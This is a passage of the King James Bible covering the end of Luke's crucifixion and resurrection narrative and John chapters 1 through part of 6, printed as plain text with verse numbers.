sentence that it should be as they required. + +23:25 And he released unto them him that for sedition and murder was +cast into prison, whom they had desired; but he delivered Jesus to +their will. + +23:26 And as they led him away, they laid hold upon one Simon, a +Cyrenian, coming out of the country, and on him they laid the cross, +that he might bear it after Jesus. + +23:27 And there followed him a great company of people, and of women, +which also bewailed and lamented him. + +23:28 But Jesus turning unto them said, Daughters of Jerusalem, weep +not for me, but weep for yourselves, and for your children. + +23:29 For, behold, the days are coming, in the which they shall say, +Blessed are the barren, and the wombs that never bare, and the paps +which never gave suck. + +23:30 Then shall they begin to say to the mountains, Fall on us; and +to the hills, Cover us. + +23:31 For if they do these things in a green tree, what shall be done +in the dry? 23:32 And there were also two other, malefactors, led +with him to be put to death. + +23:33 And when they were come to the place, which is called Calvary, +there they crucified him, and the malefactors, one on the right hand, +and the other on the left. + +23:34 Then said Jesus, Father, forgive them; for they know not what +they do. And they parted his raiment, and cast lots. + +23:35 And the people stood beholding. And the rulers also with them +derided him, saying, He saved others; let him save himself, if he be +Christ, the chosen of God. + +23:36 And the soldiers also mocked him, coming to him, and offering +him vinegar, 23:37 And saying, If thou be the king of the Jews, save +thyself. + +23:38 And a superscription also was written over him in letters of +Greek, and Latin, and Hebrew, THIS IS THE KING OF THE JEWS. + +23:39 And one of the malefactors which were hanged railed on him, +saying, If thou be Christ, save thyself and us. + +23:40 But the other answering rebuked him, saying, Dost not thou fear +God, seeing thou art in the same condemnation? 23:41 And we indeed +justly; for we receive the due reward of our deeds: but this man hath +done nothing amiss. + +23:42 And he said unto Jesus, Lord, remember me when thou comest into +thy kingdom. + +23:43 And Jesus said unto him, Verily I say unto thee, To day shalt +thou be with me in paradise. + +23:44 And it was about the sixth hour, and there was a darkness over +all the earth until the ninth hour. + +23:45 And the sun was darkened, and the veil of the temple was rent in +the midst. + +23:46 And when Jesus had cried with a loud voice, he said, Father, +into thy hands I commend my spirit: and having said thus, he gave up +the ghost. + +23:47 Now when the centurion saw what was done, he glorified God, +saying, Certainly this was a righteous man. + +23:48 And all the people that came together to that sight, beholding +the things which were done, smote their breasts, and returned. + +23:49 And all his acquaintance, and the women that followed him from +Galilee, stood afar off, beholding these things. + +23:50 And, behold, there was a man named Joseph, a counsellor; and he +was a good man, and a just: 23:51 (The same had not consented to the +counsel and deed of them;) he was of Arimathaea, a city of the Jews: +who also himself waited for the kingdom of God. + +23:52 This man went unto Pilate, and begged the body of Jesus. + +23:53 And he took it down, and wrapped it in linen, and laid it in a +sepulchre that was hewn in stone, wherein never man before was laid. + +23:54 And that day was the preparation, and the sabbath drew on. + +23:55 And the women also, which came with him from Galilee, followed +after, and beheld the sepulchre, and how his body was laid. + +23:56 And they returned, and prepared spices and ointments; and rested +the sabbath day according to the commandment. + +24:1 Now upon the first day of the week, very early in the morning, +they came unto the sepulchre, bringing the spices which they had +prepared, and certain others with them. + +24:2 And they found the stone rolled away from the sepulchre. + +24:3 And they entered in, and found not the body of the Lord Jesus. + +24:4 And it came to pass, as they were much perplexed thereabout, +behold, two men stood by them in shining garments: 24:5 And as they +were afraid, and bowed down their faces to the earth, they said unto +them, Why seek ye the living among the dead? 24:6 He is not here, but +is risen: remember how he spake unto you when he was yet in Galilee, +24:7 Saying, The Son of man must be delivered into the hands of sinful +men, and be crucified, and the third day rise again. + +24:8 And they remembered his words, 24:9 And returned from the +sepulchre, and told all these things unto the eleven, and to all the +rest. + +24:10 It was Mary Magdalene and Joanna, and Mary the mother of James, +and other women that were with them, which told these things unto the +apostles. + +24:11 And their words seemed to them as idle tales, and they believed +them not. + +24:12 Then arose Peter, and ran unto the sepulchre; and stooping down, +he beheld the linen clothes laid by themselves, and departed, +wondering in himself at that which was come to pass. + +24:13 And, behold, two of them went that same day to a village called +Emmaus, which was from Jerusalem about threescore furlongs. + +24:14 And they talked together of all these things which had happened. + +24:15 And it came to pass, that, while they communed together and +reasoned, Jesus himself drew near, and went with them. + +24:16 But their eyes were holden that they should not know him. + +24:17 And he said unto them, What manner of communications are these +that ye have one to another, as ye walk, and are sad? 24:18 And the +one of them, whose name was Cleopas, answering said unto him, Art thou +only a stranger in Jerusalem, and hast not known the things which are +come to pass there in these days? 24:19 And he said unto them, What +things? And they said unto him, Concerning Jesus of Nazareth, which +was a prophet mighty in deed and word before God and all the people: +24:20 And how the chief priests and our rulers delivered him to be +condemned to death, and have crucified him. + +24:21 But we trusted that it had been he which should have redeemed +Israel: and beside all this, to day is the third day since these +things were done. + +24:22 Yea, and certain women also of our company made us astonished, +which were early at the sepulchre; 24:23 And when they found not his +body, they came, saying, that they had also seen a vision of angels, +which said that he was alive. + +24:24 And certain of them which were with us went to the sepulchre, +and found it even so as the women had said: but him they saw not. + +24:25 Then he said unto them, O fools, and slow of heart to believe +all that the prophets have spoken: 24:26 Ought not Christ to have +suffered these things, and to enter into his glory? 24:27 And +beginning at Moses and all the prophets, he expounded unto them in all +the scriptures the things concerning himself. + +24:28 And they drew nigh unto the village, whither they went: and he +made as though he would have gone further. + +24:29 But they constrained him, saying, Abide with us: for it is +toward evening, and the day is far spent. And he went in to tarry with +them. + +24:30 And it came to pass, as he sat at meat with them, he took bread, +and blessed it, and brake, and gave to them. + +24:31 And their eyes were opened, and they knew him; and he vanished +out of their sight. + +24:32 And they said one to another, Did not our heart burn within us, +while he talked with us by the way, and while he opened to us the +scriptures? 24:33 And they rose up the same hour, and returned to +Jerusalem, and found the eleven gathered together, and them that were +with them, 24:34 Saying, The Lord is risen indeed, and hath appeared +to Simon. + +24:35 And they told what things were done in the way, and how he was +known of them in breaking of bread. + +24:36 And as they thus spake, Jesus himself stood in the midst of +them, and saith unto them, Peace be unto you. + +24:37 But they were terrified and affrighted, and supposed that they +had seen a spirit. + +24:38 And he said unto them, Why are ye troubled? and why do thoughts +arise in your hearts? 24:39 Behold my hands and my feet, that it is I +myself: handle me, and see; for a spirit hath not flesh and bones, as +ye see me have. + +24:40 And when he had thus spoken, he shewed them his hands and his +feet. + +24:41 And while they yet believed not for joy, and wondered, he said +unto them, Have ye here any meat? 24:42 And they gave him a piece of +a broiled fish, and of an honeycomb. + +24:43 And he took it, and did eat before them. + +24:44 And he said unto them, These are the words which I spake unto +you, while I was yet with you, that all things must be fulfilled, +which were written in the law of Moses, and in the prophets, and in +the psalms, concerning me. + +24:45 Then opened he their understanding, that they might understand +the scriptures, 24:46 And said unto them, Thus it is written, and thus +it behoved Christ to suffer, and to rise from the dead the third day: +24:47 And that repentance and remission of sins should be preached in +his name among all nations, beginning at Jerusalem. + +24:48 And ye are witnesses of these things. + +24:49 And, behold, I send the promise of my Father upon you: but tarry +ye in the city of Jerusalem, until ye be endued with power from on +high. + +24:50 And he led them out as far as to Bethany, and he lifted up his +hands, and blessed them. + +24:51 And it came to pass, while he blessed them, he was parted from +them, and carried up into heaven. + +24:52 And they worshipped him, and returned to Jerusalem with great +joy: 24:53 And were continually in the temple, praising and blessing +God. Amen. + + + +The Gospel According to Saint John + + +1:1 In the beginning was the Word, and the Word was with God, and the +Word was God. + +1:2 The same was in the beginning with God. + +1:3 All things were made by him; and without him was not any thing +made that was made. + +1:4 In him was life; and the life was the light of men. + +1:5 And the light shineth in darkness; and the darkness comprehended +it not. + +1:6 There was a man sent from God, whose name was John. + +1:7 The same came for a witness, to bear witness of the Light, that +all men through him might believe. + +1:8 He was not that Light, but was sent to bear witness of that Light. + +1:9 That was the true Light, which lighteth every man that cometh into +the world. + +1:10 He was in the world, and the world was made by him, and the world +knew him not. + +1:11 He came unto his own, and his own received him not. + +1:12 But as many as received him, to them gave he power to become the +sons of God, even to them that believe on his name: 1:13 Which were +born, not of blood, nor of the will of the flesh, nor of the will of +man, but of God. + +1:14 And the Word was made flesh, and dwelt among us, (and we beheld +his glory, the glory as of the only begotten of the Father,) full of +grace and truth. + +1:15 John bare witness of him, and cried, saying, This was he of whom +I spake, He that cometh after me is preferred before me: for he was +before me. + +1:16 And of his fulness have all we received, and grace for grace. + +1:17 For the law was given by Moses, but grace and truth came by Jesus +Christ. + +1:18 No man hath seen God at any time, the only begotten Son, which is +in the bosom of the Father, he hath declared him. + +1:19 And this is the record of John, when the Jews sent priests and +Levites from Jerusalem to ask him, Who art thou? 1:20 And he +confessed, and denied not; but confessed, I am not the Christ. + +1:21 And they asked him, What then? Art thou Elias? And he saith, I am +not. Art thou that prophet? And he answered, No. + +1:22 Then said they unto him, Who art thou? that we may give an answer +to them that sent us. What sayest thou of thyself? 1:23 He said, I am +the voice of one crying in the wilderness, Make straight the way of +the Lord, as said the prophet Esaias. + +1:24 And they which were sent were of the Pharisees. + +1:25 And they asked him, and said unto him, Why baptizest thou then, +if thou be not that Christ, nor Elias, neither that prophet? 1:26 +John answered them, saying, I baptize with water: but there standeth +one among you, whom ye know not; 1:27 He it is, who coming after me is +preferred before me, whose shoe's latchet I am not worthy to unloose. + +1:28 These things were done in Bethabara beyond Jordan, where John was +baptizing. + +1:29 The next day John seeth Jesus coming unto him, and saith, Behold +the Lamb of God, which taketh away the sin of the world. + +1:30 This is he of whom I said, After me cometh a man which is +preferred before me: for he was before me. + +1:31 And I knew him not: but that he should be made manifest to +Israel, therefore am I come baptizing with water. + +1:32 And John bare record, saying, I saw the Spirit descending from +heaven like a dove, and it abode upon him. + +1:33 And I knew him not: but he that sent me to baptize with water, +the same said unto me, Upon whom thou shalt see the Spirit descending, +and remaining on him, the same is he which baptizeth with the Holy +Ghost. + +1:34 And I saw, and bare record that this is the Son of God. + +1:35 Again the next day after John stood, and two of his disciples; +1:36 And looking upon Jesus as he walked, he saith, Behold the Lamb of +God! 1:37 And the two disciples heard him speak, and they followed +Jesus. + +1:38 Then Jesus turned, and saw them following, and saith unto them, +What seek ye? They said unto him, Rabbi, (which is to say, being +interpreted, Master,) where dwellest thou? 1:39 He saith unto them, +Come and see. They came and saw where he dwelt, and abode with him +that day: for it was about the tenth hour. + +1:40 One of the two which heard John speak, and followed him, was +Andrew, Simon Peter's brother. + +1:41 He first findeth his own brother Simon, and saith unto him, We +have found the Messias, which is, being interpreted, the Christ. + +1:42 And he brought him to Jesus. And when Jesus beheld him, he said, +Thou art Simon the son of Jona: thou shalt be called Cephas, which is +by interpretation, A stone. + +1:43 The day following Jesus would go forth into Galilee, and findeth +Philip, and saith unto him, Follow me. + +1:44 Now Philip was of Bethsaida, the city of Andrew and Peter. + +1:45 Philip findeth Nathanael, and saith unto him, We have found him, +of whom Moses in the law, and the prophets, did write, Jesus of +Nazareth, the son of Joseph. + +1:46 And Nathanael said unto him, Can there any good thing come out of +Nazareth? Philip saith unto him, Come and see. + +1:47 Jesus saw Nathanael coming to him, and saith of him, Behold an +Israelite indeed, in whom is no guile! 1:48 Nathanael saith unto him, +Whence knowest thou me? Jesus answered and said unto him, Before that +Philip called thee, when thou wast under the fig tree, I saw thee. + +1:49 Nathanael answered and saith unto him, Rabbi, thou art the Son of +God; thou art the King of Israel. + +1:50 Jesus answered and said unto him, Because I said unto thee, I saw +thee under the fig tree, believest thou? thou shalt see greater things +than these. + +1:51 And he saith unto him, Verily, verily, I say unto you, Hereafter +ye shall see heaven open, and the angels of God ascending and +descending upon the Son of man. + +2:1 And the third day there was a marriage in Cana of Galilee; and the +mother of Jesus was there: 2:2 And both Jesus was called, and his +disciples, to the marriage. + +2:3 And when they wanted wine, the mother of Jesus saith unto him, +They have no wine. + +2:4 Jesus saith unto her, Woman, what have I to do with thee? mine +hour is not yet come. + +2:5 His mother saith unto the servants, Whatsoever he saith unto you, +do it. + +2:6 And there were set there six waterpots of stone, after the manner +of the purifying of the Jews, containing two or three firkins apiece. + +2:7 Jesus saith unto them, Fill the waterpots with water. And they +filled them up to the brim. + +2:8 And he saith unto them, Draw out now, and bear unto the governor +of the feast. And they bare it. + +2:9 When the ruler of the feast had tasted the water that was made +wine, and knew not whence it was: (but the servants which drew the +water knew;) the governor of the feast called the bridegroom, 2:10 And +saith unto him, Every man at the beginning doth set forth good wine; +and when men have well drunk, then that which is worse: but thou hast +kept the good wine until now. + +2:11 This beginning of miracles did Jesus in Cana of Galilee, and +manifested forth his glory; and his disciples believed on him. + +2:12 After this he went down to Capernaum, he, and his mother, and his +brethren, and his disciples: and they continued there not many days. + +2:13 And the Jews' passover was at hand, and Jesus went up to +Jerusalem. + +2:14 And found in the temple those that sold oxen and sheep and doves, +and the changers of money sitting: 2:15 And when he had made a scourge +of small cords, he drove them all out of the temple, and the sheep, +and the oxen; and poured out the changers' money, and overthrew the +tables; 2:16 And said unto them that sold doves, Take these things +hence; make not my Father's house an house of merchandise. + +2:17 And his disciples remembered that it was written, The zeal of +thine house hath eaten me up. + +2:18 Then answered the Jews and said unto him, What sign shewest thou +unto us, seeing that thou doest these things? 2:19 Jesus answered and +said unto them, Destroy this temple, and in three days I will raise it +up. + +2:20 Then said the Jews, Forty and six years was this temple in +building, and wilt thou rear it up in three days? 2:21 But he spake +of the temple of his body. + +2:22 When therefore he was risen from the dead, his disciples +remembered that he had said this unto them; and they believed the +scripture, and the word which Jesus had said. + +2:23 Now when he was in Jerusalem at the passover, in the feast day, +many believed in his name, when they saw the miracles which he did. + +2:24 But Jesus did not commit himself unto them, because he knew all +men, 2:25 And needed not that any should testify of man: for he knew +what was in man. + +3:1 There was a man of the Pharisees, named Nicodemus, a ruler of the +Jews: 3:2 The same came to Jesus by night, and said unto him, Rabbi, +we know that thou art a teacher come from God: for no man can do these +miracles that thou doest, except God be with him. + +3:3 Jesus answered and said unto him, Verily, verily, I say unto thee, +Except a man be born again, he cannot see the kingdom of God. + +3:4 Nicodemus saith unto him, How can a man be born when he is old? +can he enter the second time into his mother's womb, and be born? 3:5 +Jesus answered, Verily, verily, I say unto thee, Except a man be born +of water and of the Spirit, he cannot enter into the kingdom of God. + +3:6 That which is born of the flesh is flesh; and that which is born +of the Spirit is spirit. + +3:7 Marvel not that I said unto thee, Ye must be born again. + +3:8 The wind bloweth where it listeth, and thou hearest the sound +thereof, but canst not tell whence it cometh, and whither it goeth: so +is every one that is born of the Spirit. + +3:9 Nicodemus answered and said unto him, How can these things be? +3:10 Jesus answered and said unto him, Art thou a master of Israel, +and knowest not these things? 3:11 Verily, verily, I say unto thee, +We speak that we do know, and testify that we have seen; and ye +receive not our witness. + +3:12 If I have told you earthly things, and ye believe not, how shall +ye believe, if I tell you of heavenly things? 3:13 And no man hath +ascended up to heaven, but he that came down from heaven, even the Son +of man which is in heaven. + +3:14 And as Moses lifted up the serpent in the wilderness, even so +must the Son of man be lifted up: 3:15 That whosoever believeth in him +should not perish, but have eternal life. + +3:16 For God so loved the world, that he gave his only begotten Son, +that whosoever believeth in him should not perish, but have +everlasting life. + +3:17 For God sent not his Son into the world to condemn the world; but +that the world through him might be saved. + +3:18 He that believeth on him is not condemned: but he that believeth +not is condemned already, because he hath not believed in the name of +the only begotten Son of God. + +3:19 And this is the condemnation, that light is come into the world, +and men loved darkness rather than light, because their deeds were +evil. + +3:20 For every one that doeth evil hateth the light, neither cometh to +the light, lest his deeds should be reproved. + +3:21 But he that doeth truth cometh to the light, that his deeds may +be made manifest, that they are wrought in God. + +3:22 After these things came Jesus and his disciples into the land of +Judaea; and there he tarried with them, and baptized. + +3:23 And John also was baptizing in Aenon near to Salim, because there +was much water there: and they came, and were baptized. + +3:24 For John was not yet cast into prison. + +3:25 Then there arose a question between some of John's disciples and +the Jews about purifying. + +3:26 And they came unto John, and said unto him, Rabbi, he that was +with thee beyond Jordan, to whom thou barest witness, behold, the same +baptizeth, and all men come to him. + +3:27 John answered and said, A man can receive nothing, except it be +given him from heaven. + +3:28 Ye yourselves bear me witness, that I said, I am not the Christ, +but that I am sent before him. + +3:29 He that hath the bride is the bridegroom: but the friend of the +bridegroom, which standeth and heareth him, rejoiceth greatly because +of the bridegroom's voice: this my joy therefore is fulfilled. + +3:30 He must increase, but I must decrease. + +3:31 He that cometh from above is above all: he that is of the earth +is earthly, and speaketh of the earth: he that cometh from heaven is +above all. + +3:32 And what he hath seen and heard, that he testifieth; and no man +receiveth his testimony. + +3:33 He that hath received his testimony hath set to his seal that God +is true. + +3:34 For he whom God hath sent speaketh the words of God: for God +giveth not the Spirit by measure unto him. + +3:35 The Father loveth the Son, and hath given all things into his +hand. + +3:36 He that believeth on the Son hath everlasting life: and he that +believeth not the Son shall not see life; but the wrath of God abideth +on him. + +4:1 When therefore the LORD knew how the Pharisees had heard that +Jesus made and baptized more disciples than John, 4:2 (Though Jesus +himself baptized not, but his disciples,) 4:3 He left Judaea, and +departed again into Galilee. + +4:4 And he must needs go through Samaria. + +4:5 Then cometh he to a city of Samaria, which is called Sychar, near +to the parcel of ground that Jacob gave to his son Joseph. + +4:6 Now Jacob's well was there. Jesus therefore, being wearied with +his journey, sat thus on the well: and it was about the sixth hour. + +4:7 There cometh a woman of Samaria to draw water: Jesus saith unto +her, Give me to drink. + +4:8 (For his disciples were gone away unto the city to buy meat.) 4:9 +Then saith the woman of Samaria unto him, How is it that thou, being a +Jew, askest drink of me, which am a woman of Samaria? for the Jews +have no dealings with the Samaritans. + +4:10 Jesus answered and said unto her, If thou knewest the gift of +God, and who it is that saith to thee, Give me to drink; thou wouldest +have asked of him, and he would have given thee living water. + +4:11 The woman saith unto him, Sir, thou hast nothing to draw with, +and the well is deep: from whence then hast thou that living water? +4:12 Art thou greater than our father Jacob, which gave us the well, +and drank thereof himself, and his children, and his cattle? 4:13 +Jesus answered and said unto her, Whosoever drinketh of this water +shall thirst again: 4:14 But whosoever drinketh of the water that I +shall give him shall never thirst; but the water that I shall give him +shall be in him a well of water springing up into everlasting life. + +4:15 The woman saith unto him, Sir, give me this water, that I thirst +not, neither come hither to draw. + +4:16 Jesus saith unto her, Go, call thy husband, and come hither. + +4:17 The woman answered and said, I have no husband. Jesus said unto +her, Thou hast well said, I have no husband: 4:18 For thou hast had +five husbands; and he whom thou now hast is not thy husband: in that +saidst thou truly. + +4:19 The woman saith unto him, Sir, I perceive that thou art a +prophet. + +4:20 Our fathers worshipped in this mountain; and ye say, that in +Jerusalem is the place where men ought to worship. + +4:21 Jesus saith unto her, Woman, believe me, the hour cometh, when ye +shall neither in this mountain, nor yet at Jerusalem, worship the +Father. + +4:22 Ye worship ye know not what: we know what we worship: for +salvation is of the Jews. + +4:23 But the hour cometh, and now is, when the true worshippers shall +worship the Father in spirit and in truth: for the Father seeketh such +to worship him. + +4:24 God is a Spirit: and they that worship him must worship him in +spirit and in truth. + +4:25 The woman saith unto him, I know that Messias cometh, which is +called Christ: when he is come, he will tell us all things. + +4:26 Jesus saith unto her, I that speak unto thee am he. + +4:27 And upon this came his disciples, and marvelled that he talked +with the woman: yet no man said, What seekest thou? or, Why talkest +thou with her? 4:28 The woman then left her waterpot, and went her +way into the city, and saith to the men, 4:29 Come, see a man, which +told me all things that ever I did: is not this the Christ? 4:30 Then +they went out of the city, and came unto him. + +4:31 In the mean while his disciples prayed him, saying, Master, eat. + +4:32 But he said unto them, I have meat to eat that ye know not of. + +4:33 Therefore said the disciples one to another, Hath any man brought +him ought to eat? 4:34 Jesus saith unto them, My meat is to do the +will of him that sent me, and to finish his work. + +4:35 Say not ye, There are yet four months, and then cometh harvest? +behold, I say unto you, Lift up your eyes, and look on the fields; for +they are white already to harvest. + +4:36 And he that reapeth receiveth wages, and gathereth fruit unto +life eternal: that both he that soweth and he that reapeth may rejoice +together. + +4:37 And herein is that saying true, One soweth, and another reapeth. + +4:38 I sent you to reap that whereon ye bestowed no labour: other men +laboured, and ye are entered into their labours. + +4:39 And many of the Samaritans of that city believed on him for the +saying of the woman, which testified, He told me all that ever I did. + +4:40 So when the Samaritans were come unto him, they besought him that +he would tarry with them: and he abode there two days. + +4:41 And many more believed because of his own word; 4:42 And said +unto the woman, Now we believe, not because of thy saying: for we have +heard him ourselves, and know that this is indeed the Christ, the +Saviour of the world. + +4:43 Now after two days he departed thence, and went into Galilee. + +4:44 For Jesus himself testified, that a prophet hath no honour in his +own country. + +4:45 Then when he was come into Galilee, the Galilaeans received him, +having seen all the things that he did at Jerusalem at the feast: for +they also went unto the feast. + +4:46 So Jesus came again into Cana of Galilee, where he made the water +wine. And there was a certain nobleman, whose son was sick at +Capernaum. + +4:47 When he heard that Jesus was come out of Judaea into Galilee, he +went unto him, and besought him that he would come down, and heal his +son: for he was at the point of death. + +4:48 Then said Jesus unto him, Except ye see signs and wonders, ye +will not believe. + +4:49 The nobleman saith unto him, Sir, come down ere my child die. + +4:50 Jesus saith unto him, Go thy way; thy son liveth. And the man +believed the word that Jesus had spoken unto him, and he went his way. + +4:51 And as he was now going down, his servants met him, and told him, +saying, Thy son liveth. + +4:52 Then enquired he of them the hour when he began to amend. And +they said unto him, Yesterday at the seventh hour the fever left him. + +4:53 So the father knew that it was at the same hour, in the which +Jesus said unto him, Thy son liveth: and himself believed, and his +whole house. + +4:54 This is again the second miracle that Jesus did, when he was come +out of Judaea into Galilee. + +5:1 After this there was a feast of the Jews; and Jesus went up to +Jerusalem. + +5:2 Now there is at Jerusalem by the sheep market a pool, which is +called in the Hebrew tongue Bethesda, having five porches. + +5:3 In these lay a great multitude of impotent folk, of blind, halt, +withered, waiting for the moving of the water. + +5:4 For an angel went down at a certain season into the pool, and +troubled the water: whosoever then first after the troubling of the +water stepped in was made whole of whatsoever disease he had. + +5:5 And a certain man was there, which had an infirmity thirty and +eight years. + +5:6 When Jesus saw him lie, and knew that he had been now a long time +in that case, he saith unto him, Wilt thou be made whole? 5:7 The +impotent man answered him, Sir, I have no man, when the water is +troubled, to put me into the pool: but while I am coming, another +steppeth down before me. + +5:8 Jesus saith unto him, Rise, take up thy bed, and walk. + +5:9 And immediately the man was made whole, and took up his bed, and +walked: and on the same day was the sabbath. + +5:10 The Jews therefore said unto him that was cured, It is the +sabbath day: it is not lawful for thee to carry thy bed. + +5:11 He answered them, He that made me whole, the same said unto me, +Take up thy bed, and walk. + +5:12 Then asked they him, What man is that which said unto thee, Take +up thy bed, and walk? 5:13 And he that was healed wist not who it +was: for Jesus had conveyed himself away, a multitude being in that +place. + +5:14 Afterward Jesus findeth him in the temple, and said unto him, +Behold, thou art made whole: sin no more, lest a worse thing come unto +thee. + +5:15 The man departed, and told the Jews that it was Jesus, which had +made him whole. + +5:16 And therefore did the Jews persecute Jesus, and sought to slay +him, because he had done these things on the sabbath day. + +5:17 But Jesus answered them, My Father worketh hitherto, and I work. + +5:18 Therefore the Jews sought the more to kill him, because he not +only had broken the sabbath, but said also that God was his Father, +making himself equal with God. + +5:19 Then answered Jesus and said unto them, Verily, verily, I say +unto you, The Son can do nothing of himself, but what he seeth the +Father do: for what things soever he doeth, these also doeth the Son +likewise. + +5:20 For the Father loveth the Son, and sheweth him all things that +himself doeth: and he will shew him greater works than these, that ye +may marvel. + +5:21 For as the Father raiseth up the dead, and quickeneth them; even +so the Son quickeneth whom he will. + +5:22 For the Father judgeth no man, but hath committed all judgment +unto the Son: 5:23 That all men should honour the Son, even as they +honour the Father. + +He that honoureth not the Son honoureth not the Father which hath sent +him. + +5:24 Verily, verily, I say unto you, He that heareth my word, and +believeth on him that sent me, hath everlasting life, and shall not +come into condemnation; but is passed from death unto life. + +5:25 Verily, verily, I say unto you, The hour is coming, and now is, +when the dead shall hear the voice of the Son of God: and they that +hear shall live. + +5:26 For as the Father hath life in himself; so hath he given to the +Son to have life in himself; 5:27 And hath given him authority to +execute judgment also, because he is the Son of man. + +5:28 Marvel not at this: for the hour is coming, in the which all that +are in the graves shall hear his voice, 5:29 And shall come forth; +they that have done good, unto the resurrection of life; and they that +have done evil, unto the resurrection of damnation. + +5:30 I can of mine own self do nothing: as I hear, I judge: and my +judgment is just; because I seek not mine own will, but the will of +the Father which hath sent me. + +5:31 If I bear witness of myself, my witness is not true. + +5:32 There is another that beareth witness of me; and I know that the +witness which he witnesseth of me is true. + +5:33 Ye sent unto John, and he bare witness unto the truth. + +5:34 But I receive not testimony from man: but these things I say, +that ye might be saved. + +5:35 He was a burning and a shining light: and ye were willing for a +season to rejoice in his light. + +5:36 But I have greater witness than that of John: for the works which +the Father hath given me to finish, the same works that I do, bear +witness of me, that the Father hath sent me. + +5:37 And the Father himself, which hath sent me, hath borne witness of +me. + +Ye have neither heard his voice at any time, nor seen his shape. + +5:38 And ye have not his word abiding in you: for whom he hath sent, +him ye believe not. + +5:39 Search the scriptures; for in them ye think ye have eternal life: +and they are they which testify of me. + +5:40 And ye will not come to me, that ye might have life. + +5:41 I receive not honour from men. + +5:42 But I know you, that ye have not the love of God in you. + +5:43 I am come in my Father's name, and ye receive me not: if another +shall come in his own name, him ye will receive. + +5:44 How can ye believe, which receive honour one of another, and seek +not the honour that cometh from God only? 5:45 Do not think that I +will accuse you to the Father: there is one that accuseth you, even +Moses, in whom ye trust. + +5:46 For had ye believed Moses, ye would have believed me; for he +wrote of me. + +5:47 But if ye believe not his writings, how shall ye believe my +words? 6:1 After these things Jesus went over the sea of Galilee, +which is the sea of Tiberias. + +6:2 And a great multitude followed him, because they saw his miracles +which he did on them that were diseased. + +6:3 And Jesus went up into a mountain, and there he sat with his +disciples. + +6:4 And the passover, a feast of the Jews, was nigh. + +6:5 When Jesus then lifted up his eyes, and saw a great company come +unto him, he saith unto Philip, Whence shall we buy bread, that these +may eat? 6:6 And this he said to prove him: for he himself knew what +he would do. + +6:7 Philip answered him, Two hundred pennyworth of bread is not +sufficient for them, that every one of them may take a little. + +6:8 One of his disciples, Andrew, Simon Peter's brother, saith unto +him, 6:9 There is a lad here, which hath five barley loaves, and two +small fishes: but what are they among so many? 6:10 And Jesus said, +Make the men sit down. Now there was much grass in the place. So the +men sat down, in number about five thousand. + +6:11 And Jesus took the loaves; and when he had given thanks, he +distributed to the disciples, and the disciples to them that were set +down; and likewise of the fishes as much as they would. + +6:12 When they were filled, he said unto his disciples, Gather up the +fragments that remain, that nothing be lost. + +6:13 Therefore they gathered them together, and filled twelve baskets +with the fragments of the five barley loaves, which remained over and +above unto them that had eaten. + +6:14 Then those men, when they had seen the miracle that Jesus did, +said, This is of a truth that prophet that should come into the world. + +6:15 When Jesus therefore perceived that they would come and take him +by force, to make him a king, he departed again into a mountain +himself alone. + +6:16 And when even was now come, his disciples went down unto the sea, +6:17 And entered into a ship, and went over the sea toward Capernaum. +And it was now dark, and Jesus was not come to them. + +6:18 And the sea arose by reason of a great wind that blew. + +6:19 So when they had rowed about five and twenty or thirty furlongs, +they see Jesus walking on the sea, and drawing nigh unto the ship: and +they were afraid. + +6:20 But he saith unto them, It is I; be not afraid. + +6:21 Then they willingly received him into the ship: and immediately +the ship was at the land whither they went. + +6:22 The day following, when the people which stood on the other side +of the sea saw that there was none other boat there, save that one +whereinto his disciples were entered, and that Jesus went not with his +disciples into the boat, but that his disciples were gone away alone; +6:23 (Howbeit there came other boats from Tiberias nigh unto the place +where they did eat bread, after that the Lord had given thanks:) 6:24 +When the people therefore saw that Jesus was not there, neither his +disciples, they also took shipping, and came to Capernaum, seeking for +Jesus. + +6:25 And when they had found him on the other side of the sea, they +said unto him, Rabbi, when camest thou hither? 6:26 Jesus answered +them and said, Verily, verily, I say unto you, Ye seek me, not because +ye saw the miracles, but because ye did eat of the loaves, and were +filled. + +6:27 Labour not for the meat which perisheth, but for that meat which +endureth unto everlasting life, which the Son of man shall give unto +you: for him hath God the Father sealed. + +6:28 Then said they unto him, What shall we do, that we might work the +works of God? 6:29 Jesus answered and said unto them, This is the +work of God, that ye believe on him whom he hath sent. + +6:30 They said therefore unto him, What sign shewest thou then, that +we may see, and believe thee? what dost thou work? 6:31 Our fathers +did eat manna in the desert; as it is written, He gave them bread from +heaven to eat. + +6:32 Then Jesus said unto them, Verily, verily, I say unto you, Moses +gave you not that bread from heaven; but my Father giveth you the true +bread from heaven. + +6:33 For the bread of God is he which cometh down from heaven, and +giveth life unto the world. + +6:34 Then said they unto him, Lord, evermore give us this bread. + +6:35 And Jesus said unto them, I am the bread of life: he that cometh +to me shall never hunger; and he that believeth on me shall never +thirst. + +6:36 But I said unto you, That ye also have seen me, and believe not. + +6:37 All that the Father giveth me shall come to me; and him that +cometh to me I will in no wise cast out. + +6:38 For I came down from heaven, not to do mine own will, but the +will of him that sent me. + +6:39 And this is the Father's will which hath sent me, that of all +which he hath given me I should lose nothing, but should raise it up +again at the last day. + +6:40 And this is the will of him that sent me, that every one which +seeth the Son, and believeth on him, may have everlasting life: and I +will raise him up at the last day. + +6:41 The Jews then murmured at him, because he said, I am the bread +which came down from heaven. + +6:42 And they said, Is not this Jesus, the son of Joseph, whose father +and mother we know? how is it then that he saith, I came down from +heaven? 6:43 Jesus therefore answered and said unto them, Murmur not +among yourselves. + +6:44 No man can come to me, except the Father which hath sent me draw +him: and I will raise him up at the last day. + +6:45 It is written in the prophets, And they shall be all taught of +God. + +Every man therefore that hath heard, and hath learned of the Father, +cometh unto me. + +6:46 Not that any man hath seen the Father, save he which is of God, +he hath seen the Father. + +6:47 Verily, verily, I say unto you, He that believeth on me hath +everlasting life. + +6:48 I am that bread of life. + +6:49 Your fathers did eat manna in the wilderness, and are dead. + +6:50 This is the bread which cometh down from heaven, that a man may +eat thereof, and not die. + +6:51 I am the living bread which came down from heaven: if any man eat +of this bread, he shall live for ever: and the bread that I will give +is my flesh, which I will give for the life of the world. + +6:52 The Jews therefore strove among themselves, saying, How can this +man give us his flesh to eat? 6:53 Then Jesus said unto them, Verily, +verily, I say unto you, Except ye eat the flesh of the Son of man, and +drink his blood, ye have no life in you. + +6:54 Whoso eateth my flesh, and drinketh my blood, hath eternal life; +and I will raise him up at the last day. + +6:55 For my flesh is meat indeed, and my blood is drink indeed. + +6:56 He that eateth my flesh, and drinketh my blood, dwelleth in me, +and I in him. + +6:57 As the living Father hath sent me, and I live by the Father: so +he that eateth me, even he shall live by me. + +6:58 This is that bread which came down from heaven: not as your +fathers 